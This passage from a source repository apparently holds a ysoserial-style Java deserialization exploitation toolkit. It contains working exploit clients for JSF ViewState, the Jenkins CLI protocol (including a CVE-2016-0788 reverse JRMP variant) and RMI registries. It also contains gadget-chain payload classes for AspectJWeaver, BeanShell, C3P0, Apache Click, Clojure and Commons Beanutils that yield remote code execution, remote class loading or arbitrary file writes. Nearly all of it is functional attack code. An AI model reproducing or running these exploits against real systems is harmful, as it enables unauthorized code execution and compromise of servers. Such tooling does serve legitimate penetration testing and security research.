| 140 | 141 | } 142 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JSF.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.ObjectOutputStream; 6 | import java.io.OutputStream; 7 | import java.net.HttpURLConnection; 8 | import java.net.URL; 9 | import java.net.URLConnection; 10 | import java.net.URLEncoder; 11 | 12 | import org.apache.commons.codec.binary.Base64; 13 | 14 | import ysoserial.payloads.ObjectPayload.Utils; 15 | 16 | 17 | /** 18 | * JSF view state exploit 19 | * 20 | * Delivers a gadget payload via JSF ViewState token. 21 | * 22 | * This will only work if ViewState encryption/mac is disabled. 23 | * 24 | * While it has been long known that client side state saving 25 | * with encryption disabled leads to RCE via EL injection, 26 | * this of course also works with deserialization gadgets. 27 | * 28 | * Also, it turns out that MyFaces is vulnerable to this even when 29 | * using server-side state saving 30 | * (yes, please, let's (de-)serialize a String as an Object). 31 | * 32 | * @author mbechler 33 | * 34 | */ 35 | public class JSF { 36 | 37 | public static void main ( String[] args ) { 38 | 39 | if ( args.length < 3 ) { 40 | System.err.println(JSF.class.getName() + " "); 41 | System.exit(-1); 42 | } 43 | 44 | final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); 45 | 46 | try { 47 | URL u = new URL(args[ 0 ]); 48 | 49 | URLConnection c = u.openConnection(); 50 | if ( ! ( c instanceof HttpURLConnection ) ) { 51 | throw new IllegalArgumentException("Not a HTTP url"); 52 | } 53 | 54 | HttpURLConnection hc = (HttpURLConnection) c; 55 | hc.setDoOutput(true); 56 | hc.setRequestMethod("POST"); 57 | hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 58 | OutputStream os = hc.getOutputStream(); 59 | 60 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 61 | ObjectOutputStream oos = new ObjectOutputStream(bos); 62 | oos.writeObject(payloadObject); 63 | oos.close(); 64 | byte[] data = bos.toByteArray(); 65 | String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); 66 | os.write(requestBody.getBytes("US-ASCII")); 67 | os.close(); 68 | 69 | System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); 70 | } 71 | catch ( Exception e ) { 72 | e.printStackTrace(System.err); 73 | } 74 | Utils.releasePayload(args[1], payloadObject); 75 | 76 | } 77 | 78 | 79 | 80 | } 81 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JenkinsCLI.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | import java.io.DataOutputStream; 4 | import java.io.IOException; 5 | import java.io.OutputStream; 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.net.HttpURLConnection; 10 | import java.net.InetSocketAddress; 11 | import java.net.MalformedURLException; 12 | import java.net.Socket; 13 | import java.net.SocketException; 14 | import java.net.URL; 15 | import java.net.URLConnection; 16 | import java.util.concurrent.ExecutorService; 17 | import java.util.concurrent.Executors; 18 | import java.util.concurrent.ThreadFactory; 19 | 20 | import javax.net.SocketFactory; 21 | 22 | import hudson.remoting.Callable; 23 | import hudson.remoting.Channel; 24 | import hudson.remoting.Channel.Mode; 25 | import hudson.remoting.ChannelBuilder; 26 | import ysoserial.payloads.ObjectPayload.Utils; 27 | import ysoserial.payloads.util.Reflections; 28 | 29 | /** 30 | * Jenkins CLI client 31 | * 32 | * Jenkins unfortunately is still using a custom serialization based 33 | * protocol for remote communications only protected by a blacklisting 34 | * application level filter. 35 | * 36 | * This is a generic client delivering a gadget chain payload via that protocol. 37 | * 38 | * @author mbechler 39 | * 40 | */ 41 | public class JenkinsCLI { 42 | public static final void main ( final String[] args ) { 43 | if ( args.length < 3 ) { 44 | System.err.println(JenkinsCLI.class.getName() + " "); 45 | System.exit(-1); 46 | } 47 | 48 | final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); 49 | 50 | String jenkinsUrl = args[ 0 ]; 51 | Channel c = null; 52 | try { 53 | InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); 54 | c = JenkinsCLI.openChannel(isa); 55 | c.call(getPropertyCallable(payloadObject)); 56 | } 57 | catch ( Throwable e ) { 58 | e.printStackTrace(); 59 | } 60 | finally { 61 | if ( c != null ) { 62 | try { 63 | c.close(); 64 | } 65 | catch ( IOException e ) { 66 | e.printStackTrace(System.err); 67 | } 68 | } 69 | } 70 | Utils.releasePayload(args[1], payloadObject); 71 | } 72 | 73 | public static Callable getPropertyCallable ( final Object prop ) 74 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 75 | Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); 76 | Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); 77 | Reflections.setAccessible(reqCons); 78 | Object getJarLoader = reqCons 79 | .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { 80 | prop 81 | }); 82 | return (Callable) getJarLoader; 83 | } 84 | 85 | public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { 86 | URL u = new URL(jenkinsUrl); 87 | 88 | URLConnection conn = u.openConnection(); 89 | if ( ! ( conn instanceof HttpURLConnection ) ) { 90 | System.err.println("Not a HTTP URL"); 91 | throw new MalformedURLException(); 92 | } 93 | 94 | HttpURLConnection hc = (HttpURLConnection) conn; 95 | if ( hc.getResponseCode() >= 400 ) { 96 | System.err.println("* Error connection to jenkins HTTP " + u); 97 | } 98 | int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); 99 | 100 | return new InetSocketAddress(u.getHost(), clip); 101 | } 102 | 103 | public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { 104 | System.err.println("* Opening socket " + isa); 105 | Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); 106 | s.setKeepAlive(true); 107 | s.setTcpNoDelay(true); 108 | 109 | System.err.println("* Opening channel"); 110 | OutputStream outputStream = s.getOutputStream(); 111 | DataOutputStream dos = new DataOutputStream(outputStream); 112 | dos.writeUTF("Protocol:CLI-connect"); 113 | ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { 114 | 115 | public Thread newThread ( Runnable r ) { 116 | Thread t = new Thread(r, "Channel"); 117 | t.setDaemon(true); 118 | return t; 119 | } 120 | }); 121 | Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); 122 | System.err.println("* Channel open"); 123 | return c; 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JenkinsReverse.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | import java.io.IOException; 5 | import java.net.InetSocketAddress; 6 | import java.rmi.registry.Registry; 7 | import java.util.Random; 8 | 9 | import hudson.remoting.Channel; 10 | import ysoserial.exploit.JRMPListener; 11 | import ysoserial.payloads.JRMPClient; 12 | import ysoserial.payloads.ObjectPayload.Utils; 13 | 14 | 15 | /** 16 | * CVE-2016-0788 exploit (2) 17 | * 18 | * - Sets up a local {@link JRMPListener} 19 | * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol 20 | * that will cause the remote to open a JRMP connection to our listener 21 | * - upon connection the specified payload will be delivered to the remote 22 | * (that will deserialize using a default ObjectInputStream) 23 | * 24 | * @author mbechler 25 | * 26 | */ 27 | public class JenkinsReverse { 28 | 29 | public static final void main ( final String[] args ) { 30 | if ( args.length < 4 ) { 31 | System.err.println(JenkinsListener.class.getName() + " "); 32 | System.exit(-1); 33 | } 34 | 35 | 36 | final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); 37 | String myAddr = args[ 1 ]; 38 | int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; 39 | String jenkinsUrl = args[ 0 ]; 40 | 41 | Thread t = null; 42 | Channel c = null; 43 | try { 44 | InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); 45 | c = JenkinsCLI.openChannel(isa); 46 | JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); 47 | t = new Thread(listener, "ReverseDGC"); 48 | t.setDaemon(true); 49 | t.start(); 50 | Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); 51 | c.call(JenkinsCLI.getPropertyCallable(payload)); 52 | listener.waitFor(1000); 53 | listener.close(); 54 | } 55 | catch ( Throwable e ) { 56 | e.printStackTrace(); 57 | } 58 | finally { 59 | if ( c != null ) { 60 | try { 61 | c.close(); 62 | } 63 | catch ( IOException e ) { 64 | e.printStackTrace(System.err); 65 | } 66 | } 67 | 68 | if ( t != null ) { 69 | t.interrupt(); 70 | try { 71 | t.join(); 72 | } 73 | catch ( InterruptedException e ) { 74 | e.printStackTrace(System.err); 75 | } 76 | } 77 | } 78 | Utils.releasePayload(args[2], payloadObject); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/RMIRegistryExploit.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | import java.io.IOException; 4 | import java.net.Socket; 5 | import java.rmi.ConnectIOException; 6 | import java.rmi.Remote; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | import java.rmi.server.RMIClientSocketFactory; 10 | import java.security.cert.X509Certificate; 11 | import java.util.concurrent.Callable; 12 | import javax.net.ssl.*; 13 | 14 | import ysoserial.payloads.CommonsCollections1; 15 | import ysoserial.payloads.ObjectPayload; 16 | import ysoserial.payloads.ObjectPayload.Utils; 17 | import ysoserial.payloads.util.Gadgets; 18 | import ysoserial.secmgr.ExecCheckingSecurityManager; 19 | 20 | /* 21 | * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. 22 | * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. 23 | * 24 | * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote 25 | * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . 26 | */ 27 | @SuppressWarnings({"rawtypes", "unchecked"}) 28 | public class RMIRegistryExploit { 29 | private static class TrustAllSSL implements X509TrustManager { 30 | private static final X509Certificate[] ANY_CA = {}; 31 | public X509Certificate[] getAcceptedIssuers() { return ANY_CA; } 32 | public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } 33 | public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } 34 | } 35 | 36 | private static class RMISSLClientSocketFactory implements RMIClientSocketFactory { 37 | public Socket createSocket(String host, int port) throws IOException { 38 | try { 39 | SSLContext ctx = SSLContext.getInstance("TLS"); 40 | ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null); 41 | SSLSocketFactory factory = ctx.getSocketFactory(); 42 | return factory.createSocket(host, port); 43 | } catch(Exception e) { 44 | throw new IOException(e); 45 | } 46 | } 47 | } 48 | 49 | public static void main(final String[] args) throws Exception { 50 | final String host = args[0]; 51 | final int port = Integer.parseInt(args[1]); 52 | final String command = args[3]; 53 | Registry registry = LocateRegistry.getRegistry(host, port); 54 | final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; 55 | final Class payloadClass = (Class) Class.forName(className); 56 | 57 | // test RMI registry connection and upgrade to SSL connection on fail 58 | try { 59 | registry.list(); 60 | } catch(ConnectIOException ex) { 61 | registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory()); 62 | } 63 | 64 | // ensure payload doesn't detonate during construction or deserialization 65 | exploit(registry, payloadClass, command); 66 | } 67 | 68 | public static void exploit(final Registry registry, 69 | final Class payloadClass, 70 | final String command) throws Exception { 71 | new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception { 72 | ObjectPayload payloadObj = payloadClass.newInstance(); 73 | Object payload = payloadObj.getObject(command); 74 | String name = "pwned" + System.nanoTime(); 75 | Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); 76 | try { 77 | registry.bind(name, remote); 78 | } catch (Throwable e) { 79 | e.printStackTrace(); 80 | } 81 | Utils.releasePayload(payloadObj, payload); 82 | return null; 83 | }}); 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/Xstream.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | import ysoserial.payloads.ObjectPayload; 4 | import static ysoserial.payloads.ObjectPayload.Utils.makePayloadObject; 5 | 6 | public class Xstream { 7 | public static void main(String[] args) { 8 | args = new String[]{"CommonsBeanutils1", "calc.exe"}; 9 | if (args.length < 2) { 10 | System.out.println("exit"); 11 | } 12 | final Object payloadObject = makePayloadObject(args[0], args[1]); 13 | com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream(); 14 | String result = xs.toXML(payloadObject); 15 | System.out.println(result); 16 | ObjectPayload.Utils.releasePayload(args[0], payloadObject); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/AspectJWeaver.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.codec.binary.Base64; 4 | import org.apache.commons.collections.Transformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 7 | import org.apache.commons.collections.map.LazyMap; 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.annotation.PayloadTest; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.io.Serializable; 15 | import java.lang.reflect.Constructor; 16 | import java.lang.reflect.Field; 17 | import java.util.HashMap; 18 | import java.util.HashSet; 19 | import java.util.Map; 20 | 21 | /* 22 | Gadget chain: 23 | HashSet.readObject() 24 | HashMap.put() 25 | HashMap.hash() 26 | TiedMapEntry.hashCode() 27 | TiedMapEntry.getValue() 28 | LazyMap.get() 29 | SimpleCache$StorableCachingMap.put() 30 | SimpleCache$StorableCachingMap.writeToPath() 31 | FileOutputStream.write() 32 | 33 | Usage: 34 | args = ";" 35 | Example: 36 | java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ==" 37 | 38 | More information: 39 | https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 40 | */ 41 | @PayloadTest(skip="non RCE") 42 | @SuppressWarnings({"rawtypes", "unchecked"}) 43 | @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) 44 | @Authors({ Authors.JANG }) 45 | 46 | public class AspectJWeaver implements ObjectPayload { 47 | 48 | public Serializable getObject(final String command) throws Exception { 49 | int sep = command.lastIndexOf(';'); 50 | if ( sep < 0 ) { 51 | throw new IllegalArgumentException("Command format is: :"); 52 | } 53 | String[] parts = command.split(";"); 54 | String filename = parts[0]; 55 | byte[] content = Base64.decodeBase64(parts[1]); 56 | 57 | Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); 58 | Object simpleCache = ctor.newInstance(".", 12); 59 | Transformer ct = new ConstantTransformer(content); 60 | Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); 61 | TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); 62 | HashSet map = new HashSet(1); 63 | map.add("foo"); 64 | Field f = null; 65 | try { 66 | f = HashSet.class.getDeclaredField("map"); 67 | } catch (NoSuchFieldException e) { 68 | f = HashSet.class.getDeclaredField("backingMap"); 69 | } 70 | 71 | Reflections.setAccessible(f); 72 | HashMap innimpl = (HashMap) f.get(map); 73 | 74 | Field f2 = null; 75 | try { 76 | f2 = HashMap.class.getDeclaredField("table"); 77 | } catch (NoSuchFieldException e) { 78 | f2 = HashMap.class.getDeclaredField("elementData"); 79 | } 80 | 81 | Reflections.setAccessible(f2); 82 | Object[] array = (Object[]) f2.get(innimpl); 83 | 84 | Object node = array[0]; 85 | if(node == null){ 86 | node = array[1]; 87 | } 88 | 89 | Field keyField = null; 90 | try{ 91 | keyField = node.getClass().getDeclaredField("key"); 92 | }catch(Exception e){ 93 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 94 | } 95 | 96 | Reflections.setAccessible(keyField); 97 | keyField.set(node, entry); 98 | 99 | return map; 100 | 101 | } 102 | 103 | public static void main(String[] args) throws Exception { 104 | args = new String[]{"ahi.txt;YWhpaGloaQ=="}; 105 | PayloadRunner.run(AspectJWeaver.class, args); 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/BeanShell1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import bsh.Interpreter; 4 | import bsh.XThis; 5 | 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Proxy; 8 | import java.util.Arrays; 9 | import java.util.Comparator; 10 | import java.util.PriorityQueue; 11 | 12 | import ysoserial.Strings; 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.util.Reflections; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.util.PayloadRunner; 17 | 18 | /** 19 | * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) 20 | */ 21 | 22 | @SuppressWarnings({ "rawtypes", "unchecked" }) 23 | @Dependencies({ "org.beanshell:bsh:2.0b5" }) 24 | @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) 25 | public class BeanShell1 extends PayloadRunner implements ObjectPayload { 26 | 27 | public PriorityQueue getObject(String command) throws Exception { 28 | // BeanShell payload 29 | 30 | String payload = 31 | "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + 32 | Strings.join( // does not support spaces in quotes 33 | Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")), 34 | ",", "\"", "\"") + 35 | "}).start();return new Integer(1);}"; 36 | 37 | // Create Interpreter 38 | Interpreter i = new Interpreter(); 39 | 40 | // Evaluate payload 41 | i.eval(payload); 42 | 43 | // Create InvocationHandler 44 | XThis xt = new XThis(i.getNameSpace(), i); 45 | InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); 46 | 47 | // Create Comparator Proxy 48 | Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); 49 | 50 | // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) 51 | final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); 52 | Object[] queue = new Object[] {1,1}; 53 | Reflections.setFieldValue(priorityQueue, "queue", queue); 54 | Reflections.setFieldValue(priorityQueue, "size", 2); 55 | 56 | return priorityQueue; 57 | } 58 | 59 | public static void main(final String[] args) throws Exception { 60 | PayloadRunner.run(BeanShell1.class, args); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/C3P0.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.io.PrintWriter; 5 | import java.sql.SQLException; 6 | import java.sql.SQLFeatureNotSupportedException; 7 | import java.util.logging.Logger; 8 | 9 | import javax.naming.NamingException; 10 | import javax.naming.Reference; 11 | import javax.naming.Referenceable; 12 | import javax.sql.ConnectionPoolDataSource; 13 | import javax.sql.PooledConnection; 14 | 15 | import com.mchange.v2.c3p0.PoolBackedDataSource; 16 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; 17 | 18 | import ysoserial.payloads.annotation.Authors; 19 | import ysoserial.payloads.annotation.Dependencies; 20 | import ysoserial.payloads.annotation.PayloadTest; 21 | import ysoserial.payloads.util.PayloadRunner; 22 | import ysoserial.payloads.util.Reflections; 23 | 24 | 25 | /** 26 | * 27 | * 28 | * com.sun.jndi.rmi.registry.RegistryContext->lookup 29 | * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject 30 | * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject 31 | * 32 | * Arguments: 33 | * - base_url:classname 34 | * 35 | * Yields: 36 | * - Instantiation of remotely loaded class 37 | * 38 | * @author mbechler 39 | * 40 | */ 41 | @PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) 42 | @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) 43 | @Authors({ Authors.MBECHLER }) 44 | public class C3P0 implements ObjectPayload { 45 | public Object getObject ( String command ) throws Exception { 46 | int sep = command.lastIndexOf(':'); 47 | if ( sep < 0 ) { 48 | throw new IllegalArgumentException("Command format is: :"); 49 | } 50 | 51 | String url = command.substring(0, sep); 52 | String className = command.substring(sep + 1); 53 | 54 | PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); 55 | Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); 56 | return b; 57 | } 58 | 59 | 60 | 61 | 62 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 63 | 64 | private String className; 65 | private String url; 66 | 67 | public PoolSource ( String className, String url ) { 68 | this.className = className; 69 | this.url = url; 70 | } 71 | 72 | public Reference getReference () throws NamingException { 73 | return new Reference("exploit", this.className, this.url); 74 | } 75 | 76 | public PrintWriter getLogWriter () throws SQLException {return null;} 77 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 78 | public void setLoginTimeout ( int seconds ) throws SQLException {} 79 | public int getLoginTimeout () throws SQLException {return 0;} 80 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 81 | public PooledConnection getPooledConnection () throws SQLException {return null;} 82 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 83 | 84 | } 85 | 86 | 87 | public static void main ( final String[] args ) throws Exception { 88 | PayloadRunner.run(C3P0.class, args); 89 | } 90 | 91 | } 92 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Click1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.click.control.Column; 4 | import org.apache.click.control.Table; 5 | import ysoserial.payloads.annotation.Authors; 6 | import ysoserial.payloads.annotation.Dependencies; 7 | import ysoserial.payloads.util.Gadgets; 8 | import ysoserial.payloads.util.PayloadRunner; 9 | import ysoserial.payloads.util.Reflections; 10 | 11 | import java.math.BigInteger; 12 | import java.util.Comparator; 13 | import java.util.PriorityQueue; 14 | 15 | /* 16 | Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue(). 17 | We use java.util.PriorityQueue to trigger ColumnComparator.compare(). 18 | After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection. 19 | 20 | Chain: 21 | 22 | java.util.PriorityQueue.readObject() 23 | java.util.PriorityQueue.heapify() 24 | java.util.PriorityQueue.siftDown() 25 | java.util.PriorityQueue.siftDownUsingComparator() 26 | org.apache.click.control.Column$ColumnComparator.compare() 27 | org.apache.click.control.Column.getProperty() 28 | org.apache.click.control.Column.getProperty() 29 | org.apache.click.util.PropertyUtils.getValue() 30 | org.apache.click.util.PropertyUtils.getObjectPropertyValue() 31 | java.lang.reflect.Method.invoke() 32 | com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() 33 | ... 34 | 35 | Arguments: 36 | - command to execute 37 | 38 | Yields: 39 | - RCE via TemplatesImpl.getOutputProperties() 40 | 41 | Requires: 42 | - Apache Click 43 | - servlet-api of any version 44 | 45 | by @artsploit 46 | */ 47 | @SuppressWarnings({ "rawtypes", "unchecked" }) 48 | @Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) 49 | @Authors({ Authors.ARTSPLOIT }) 50 | public class Click1 implements ObjectPayload { 51 | 52 | public Object getObject(final String command) throws Exception { 53 | 54 | // prepare a Column.comparator with mock values 55 | final Column column = new Column("lowestSetBit"); 56 | column.setTable(new Table()); 57 | Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column); 58 | 59 | // create queue with numbers and our comparator 60 | final PriorityQueue queue = new PriorityQueue(2, comparator); 61 | // stub data for replacement later 62 | queue.add(new BigInteger("1")); 63 | queue.add(new BigInteger("1")); 64 | 65 | // switch method called by the comparator, 66 | // so it will trigger getOutputProperties() when objects in the queue are compared 67 | column.setName("outputProperties"); 68 | 69 | // finally, we inject and new TemplatesImpl object into the queue, 70 | // so its getOutputProperties() method will be called 71 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 72 | final Object templates = Gadgets.createTemplatesImpl(command); 73 | queueArray[0] = templates; 74 | 75 | return queue; 76 | } 77 | 78 | public static void main(final String[] args) throws Exception { 79 | PayloadRunner.run(Click1.class, args); 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Clojure.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; 4 | import clojure.lang.PersistentArrayMap; 5 | import ysoserial.Strings; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.PayloadRunner; 9 | 10 | import java.util.Arrays; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | /* 15 | Gadget chain: 16 | ObjectInputStream.readObject() 17 | HashMap.readObject() 18 | AbstractTableModel$ff19274a.hashCode() 19 | clojure.core$comp$fn__4727.invoke() 20 | clojure.core$constantly$fn__4614.invoke() 21 | clojure.main$eval_opt.invoke() 22 | 23 | Requires: 24 | org.clojure:clojure 25 | Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions 26 | */ 27 | @Dependencies({"org.clojure:clojure:1.8.0"}) 28 | @Authors({ Authors.JACKOFMOSTTRADES }) 29 | public class Clojure extends PayloadRunner implements ObjectPayload> { 30 | 31 | public Map getObject(final String command) throws Exception { 32 | 33 | // final String[] execArgs = command.split(" "); 34 | // final StringBuilder commandArgs = new StringBuilder(); 35 | // for (String arg : execArgs) { 36 | // commandArgs.append("\" \""); 37 | // commandArgs.append(arg); 38 | // } 39 | // commandArgs.append("\""); 40 | 41 | 42 | // final String clojurePayload = 43 | // String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2)); 44 | 45 | String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\""); 46 | 47 | final String clojurePayload = 48 | String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd); 49 | 50 | 51 | 52 | Map fnMap = new HashMap(); 53 | fnMap.put("hashCode", new clojure.core$constantly().invoke(0)); 54 | 55 | AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); 56 | model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); 57 | 58 | HashMap targetMap = new HashMap(); 59 | targetMap.put(model, null); 60 | 61 | fnMap.put("hashCode", 62 | new clojure.core$comp().invoke( 63 | new clojure.main$eval_opt(), 64 | new clojure.core$constantly().invoke(clojurePayload))); 65 | model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); 66 | 67 | return targetMap; 68 | } 69 | 70 | public static void main(final String[] args) throws Exception { 71 | PayloadRunner.run(Clojure.class, args); 72 | } 73 | 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsBeanutils1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.math.BigInteger; 4 | import java.util.PriorityQueue; 5 | 6 | import org.apache.commons.beanutils.BeanComparator; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | @SuppressWarnings({ "rawtypes", "unchecked" }) 15 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 16 | @Authors({ Authors.FROHOFF }) 17 | public class CommonsBeanutils1 implements ObjectPayload { 18 | 19 | public Object getObject(final String command) throws Exception { 20 | final Object templates = Gadgets.createTemplatesImpl(command); 21 | // mock method name until armed 22 | final BeanComparator comparator = new BeanComparator("lowestSetBit"); 23 | 24 | // create queue with numbers and basic comparator 25 | final PriorityQueue queue = new PriorityQueue(2, comparator); 26 | // stub data for replacement later 27 | queue.add(new BigInteger("1")); 28 | queue.add(new BigInteger("1")); 29 | 30 | // switch method called by comparator 31 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 32 | 33 | // switch contents of queue 34 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 35 | queueArray[0] = templates; 36 | queueArray[1] = templates; 37 | 38 | return queue; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsBeanutils1.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsBeanutils1Echo.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.math.BigInteger; 4 | import java.util.PriorityQueue; 5 | 6 | import 